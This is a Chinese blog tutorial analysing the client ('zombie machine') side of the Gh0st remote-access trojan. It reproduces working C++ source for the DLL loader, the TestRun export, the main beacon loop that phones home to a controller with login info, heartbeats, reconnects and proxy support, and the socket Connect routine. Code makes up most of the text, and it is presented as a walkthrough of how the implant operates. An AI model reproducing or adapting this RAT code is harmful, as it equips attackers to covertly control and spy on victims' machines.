一、通过肉机启动TestDll.exe来加载被控端的功能dll
使用TestDll.exe来调用TestRun函数:
其实原理很简单:
1)首先使用HMODULE hDllServer =LoadLibrary("server.dll")来加载dll
2)然后通过GetProcAddr(hDllServer,"TestRun");来获取导出函数的函数地址,进而通过函数指针pTestRunT来根据函数地址调用TestRun这个函数
注:要想通过GetProcAddr这种方式得到dll导出函数的地址,就需要你在dll里面定义成相应的导出函数,如:extern "C" __declspec(dllexport) void TestRun(char* strHost, int nPort);这种形式
main函数的完整代码:
int main() {
std::cout << "hello world" << std::endl;
char strHost[] = "127.0.0.1";
int nPort = 80;
//定义函数指针,实现按照函数地址调用指定类型的函数
typedef void(_cdecl* TestRunT)(char* strHost, int nPort);
HMODULE hDllServer = LoadLibrary("..\\..\\bin\\server\\server.dll");
//HMODULE hDllServer = LoadLibrary("server.dll");
TestRunT pTestRunT=(TestRunT)GetProcAddress(hDllServer, "TestRun");
if (pTestRunT != nullptr) {
pTestRunT(strHost, nPort);//调用这个导出函数
}
system("pause");
return 0;
}
二、dllmain.cpp当中定义的导出函数TestRun
接下来我们来看看这个导出函数具体长啥样
显然TestRun函数的主任务就是创建了main线程,也就是主线程
//添加导出函数
extern "C" __declspec(dllexport) void TestRun(char* strHost, int nPort) {
strcpy(g_strHost, strHost); //保存上线地址
g_dwPort = nPort; //保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
那么主线程main又做了哪些事情呢?
1)这里面比较重要的就是声明了CClientSocket socketClient;类
可以大致瞅一眼这个类的定义:里面包含了m_Socket这种关键信息,之所以封装成一个类是为了方便以后的管理,使得里面的变量和接口不会太散乱
2)里面通过以下语句来给肉机指定要连接的服务端的IP和端口号
而g_strHost和g_dwPort的来源就是通过extern "C" __declspec(dllexport) void TestRun(char* strHost, int nPort)的形参传递进来的
//上线地址
lpszHost = g_strHost;
dwPort = g_dwPort;
3)下一步就是肉机来主动连接主控端了:
if (!socketClient.Connect(lpszHost, dwPort))
{
bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环
continue;
}
4)以下是main函数的完整代码:
DWORD WINAPI main(char* lpServiceName)
{
// lpServiceName,在ServiceMain返回后就没有了
char strServiceName[256];
char strKillEvent[50];
HANDLE hInstallMutex = NULL;
//
// Set Window
//!!!winsta0是设置的是xp的窗口,以后可能需要修改
HWINSTA hOldStation = GetProcessWindowStation();
HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
if (hWinSta != NULL)
SetProcessWindowStation(hWinSta);
//
//
if (CKeyboardManager::g_hInstance != NULL)
{
SetUnhandledExceptionFilter(bad_exception);
lstrcpy(strServiceName, lpServiceName);
wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名
hInstallMutex = CreateMutex(NULL, true, g_strHost);
//ReConfigService(strServiceName); //--lang--
// 删除安装文件
// DeleteInstallFile(lpServiceName); //--lang--
}
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
SetErrorMode(SEM_FAILCRITICALERRORS);
char* lpszHost = NULL;
DWORD dwPort = 80;
char* lpszProxyHost = NULL;
DWORD dwProxyPort = 0;
char* lpszProxyUser = NULL;
char* lpszProxyPass = NULL;
HANDLE hEvent = NULL;
//---这里声明了一个 CClientSocket类
CClientSocket socketClient;
BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
while (1)
{
// 如果不是心跳超时,不用再sleep两分钟
if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
{
// 2分钟断线重连, 为了尽快响应killevent
for (int i = 0; i < 2000; i++)
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
break;
}
// 改一下
Sleep(60);
}
//上线地址
lpszHost = g_strHost;
dwPort = g_dwPort;
if (lpszProxyHost != NULL)
socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
else
socketClient.setGlobalProxyOption();
DWORD dwTickCount = GetTickCount();
//---调用Connect函数向主控端发起连接
if (!socketClient.Connect(lpszHost, dwPort))
{
bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环
continue;
}
// 登录
DWORD dwExitCode = SOCKET_ERROR;
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
//
// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
{
Sleep(1000);
}
// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
if (!manager.IsActived())
continue;
//
DWORD dwIOCPEvent;
dwTickCount = GetTickCount();
do
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
Sleep(500);
} while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
}
#ifdef _DLL
//
// Restor WindowStation and Desktop
// 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
// SetProcessWindowStation(hOldStation);
// CloseWindowStation(hWinSta);
//
//
#endif
SetErrorMode(0);
ReleaseMutex(hInstallMutex);
CloseHandle(hInstallMutex);
}
三、Connect函数剖析
然后我们来跟进Connect函数:
1)其中最重要的当然是:
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
return false;
得到和主控端连接的socket之后就相当于得到了一个四元组来唯一标识二者的通信关系,之后的交流都通过这次连接的socket来进行
2)Connect函数完整代码:
//---向主控端发起连接
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{
// 一定要清除一下,不然socket会耗尽系统资源
Disconnect();
// 重置事件对像
ResetEvent(m_hEvent);
m_bIsRunning = false;
if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
return false;
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (m_Socket == SOCKET_ERROR)
{
return false;
}
hostent* pHostent = NULL;
if (m_nProxyType != PROXY_NONE)
pHostent = gethostbyname(m_strProxyHost);
else
pHostent = gethostbyname(lpszHost);
if (pHostent == NULL)
return false;
// 构造sockaddr_in结构
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
if (m_nProxyType != PROXY_NONE)
ClientAddr.sin_port = htons(m_nProxyPort);
else
ClientAddr.sin_port = htons(nPort);
ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr);
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
return false;
// 禁用Nagle算法后,对程序效率有严重影响
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
// const char chOpt = 1;
// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
// 验证socks5服务器
if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort))
{
return false;
}
// 不用保活机制,自己用心跳实瑞
const int chOpt = 1; // True !!!我把char改成了int
// Set KeepAlive 开启保活机制, 防止服务端产生死连接
//!!!将sizeof(chOpt)改成了sizeof(int)
if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0)
{
// 设置超时详细信息
tcp_keepalive klive;
klive.onoff = 1; // 启用保活
klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive
klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply
WSAIoctl
(
m_Socket,
SIO_KEEPALIVE_VALS,
&klive,
sizeof(tcp_keepalive),
NULL,
0,
(unsigned long *)&chOpt,
0,
NULL
);
}
m_bIsRunning = true;
//---连接成功,开启工作线程 转到WorkThread
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
return true;
}
刑了,今天的你就到此为止吧,明天还要接着浪啊!🎃🎃 作者:布卍哥